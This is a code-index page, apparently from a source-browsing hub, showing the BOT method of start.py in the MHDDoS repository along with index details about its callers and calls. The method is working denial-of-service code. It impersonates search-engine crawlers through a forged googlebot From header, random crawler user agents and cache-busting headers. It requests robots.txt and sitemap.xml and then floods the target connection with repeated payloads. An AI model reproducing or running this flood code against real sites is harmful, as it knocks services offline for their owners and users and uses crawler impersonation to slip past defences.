MCPcopy Index your code
hub / github.com/MatrixTM/MHDDoS / BOT

Method BOT

start.py:1069–1094  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

1067 Tools.safe_close(s)
1068
1069 def BOT(self) -> None:
1070 payload: bytes = self.generate_payload()
1071 p1, p2 = str.encode(
1072 "GET /robots.txt HTTP/1.1\r\n"
1073 "Host: %s\r\n" % self._target.raw_authority +
1074 "Connection: Keep-Alive\r\n"
1075 "Accept: text/plain,text/html,*/*\r\n"
1076 "User-Agent: %s\r\n" % randchoice(search_engine_agents) +
1077 "Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
1078 "GET /sitemap.xml HTTP/1.1\r\n"
1079 "Host: %s\r\n" % self._target.raw_authority +
1080 "Connection: Keep-Alive\r\n"
1081 "Accept: */*\r\n"
1082 "From: googlebot(at)googlebot.com\r\n"
1083 "User-Agent: %s\r\n" % randchoice(search_engine_agents) +
1084 "Accept-Encoding: gzip,deflate,br\r\n"
1085 "If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
1086 ProxyTools.Random.rand_str(4)) +
1087 "If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
1088 s = None
1089 with suppress(Exception), self.open_connection() as s:
1090 Tools.send(s, p1)
1091 Tools.send(s, p2)
1092 for _ in range(self._rpc):
1093 Tools.send(s, payload)
1094 Tools.safe_close(s)
1095
1096 def EVEN(self) -> None:
1097 payload: bytes = self.generate_payload()

Callers

nothing calls this directly

Calls 4

generate_payloadMethod · 0.95
open_connectionMethod · 0.95
sendMethod · 0.80
safe_closeMethod · 0.80

Tested by

no test coverage detected